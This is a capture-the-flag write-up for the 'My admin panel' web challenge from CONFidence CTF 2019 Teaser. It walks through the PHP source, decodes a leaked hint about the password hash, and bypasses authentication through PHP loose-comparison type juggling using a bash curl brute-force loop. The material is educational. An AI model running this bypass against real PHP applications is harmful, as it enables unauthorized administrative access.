CONFidence CTF 2019 Teaser - Write-up

Table of contents
  1. 🔗Information
    1. 🔗CTF
  2. 🔗My admin panel - Web

🔗Information

🔗CTF

🔗My admin panel - Web

I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?

https://gameserver.zajebistyc.tf/admin/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
exit();
}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
echo("I CAN EVEN GIVE YOU A HINT XD \n");

for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
}

exit("\n");
}

display_admin();

Ok let's give them what is asked and get a hint:

1
2
3
$ curl -v https://gameserver.zajebistyc.tf/admin/login.php -H 'Cookie: otadmin={"hash": "0A"}'
I CAN EVEN GIVE YOU A HINT XD
0006464640640064000646464640006400640640646400

We will get into the for loop 32 time as the length of a md5 hash is 32.

ord(MD5($cfg_pass)[$i]) & 0xC0 will take each char of the MD5 hash of $cfg_pass one by one and Bitwise AND it with 0xC0, then will put the result as a decimal.

First we need to split 0006464640640064000646464640006400640640646400. But how?

MD5 hashes are only using hexadecimal characters so chars in [0-9A-Z], in decimal from 48 (0) to 57 (9) and from 65 (A) to 90 (Z). But there is the Bitwise AND with 0xC0.

0x00 & 0xC0 to 0x39 & 0xC0 will be equal to int(0) and 0x40 & 0xC0 to 0x7F & 0xC0 will be equal to int(64).

So all letters will result in 64 and all numbers to 0.

So we have 0 0 0 64 64 64 0 64 0 0 64 0 0 0 64 64 64 64 0 0 0 64 0 0 64 0 64 0 64 64 0 0.

  • [0-9]: 10 possibilities
  • [A-F]: 6 possibilities

Let's count how many of each there are:

1
2
3
4
5
6
irb(main):002:0> hash = "0 0 0 64 64 64 0 64 0 0 64 0 0 0 64 64 64 64 0 0 0 64 0 0 64 0 64 0 64 64 0 0"
=> "0 0 0 64 64 64 0 64 0 0 64 0 0 0 64 64 64 64 0 0 0 64 0 0 64 0 64 0 64 64 0 0"
irb(main):003:0> hash.split.count("0")
=> 18
irb(main):004:0> hash.split.count("64")
=> 14

This make a lots of possibilities even if it is far less than bruteforcing MD5 without a clue:

1
2
3
4
irb(main):005:0> 10**18 * 6**14
=> 78364164096000000000000000000
irb(main):008:0> 16**32
=> 340282366920938463463374607431768211456

This make the hash nearly 96 bits strong instead of 128 bits strong. This is still too much.

So we may need to bypass the loose comparison $session_data['hash'] != strtoupper(MD5($cfg_pass)) with a type juggling.

Let's see the PHP type comparison tables and remind us some stuff reading PHP Magic Tricks: Type Juggling.

We may expect NULL to be truthy with something else but $session_data === NULL is preventing us from doing that and we still need to match this regex /^{"hash": [0-9A-Z\"]+}$/.

But json_decode will convert the JSON string to PHP object, so we can not only provide strings but also integers thanks to JSON.

Instead of /^{"hash": [0-9A-Z\"]+}$/ the regex should have been /^{"hash": "[0-9A-Z]{32}"}$/ to be more secure to force us to send a string.

1
2
3
4
5
6
7
$ php -a
Interactive shell

php > var_dump(json_decode('{"hash": ""}', true)['hash']);
string(0) ""
php > var_dump(json_decode('{"hash": 0}', true)['hash']);
int(0)

And we know this trick with type juggling:

1
2
php > var_dump(48 == "48hnj");
bool(true)

As we have 0 0 0 64 64 64 0 64 0 0 64 0 0 0 64 64 64 64 0 0 0 64 0 0 64 0 64 0 64 64 0 0 the string will be interpreted to an integer because it begins with a number and as there are three 0 it begins with three numbers. So if we send {"hash": <num>} where num is an integer form 0 to 999 we should get the bypass by bruteforcing all the values.

If you don't understand what I mean, we need something like that:

1
2
php > var_dump(json_decode('{"hash": 556}', true)['hash'] == "556CC23863FEF20FAB5C456DB166BC6E");
bool(true)

So I did a quick bash script:

1
2
3
4
5
6
#!/bin/bash
for i in {1..999}
do
param="Cookie: otadmin={\"hash\": ${i}};"
curl https://gameserver.zajebistyc.tf/admin/login.php -H "$param"
done

The flag was p4{wtf_php_comparisons_how_do_they_work}.

Share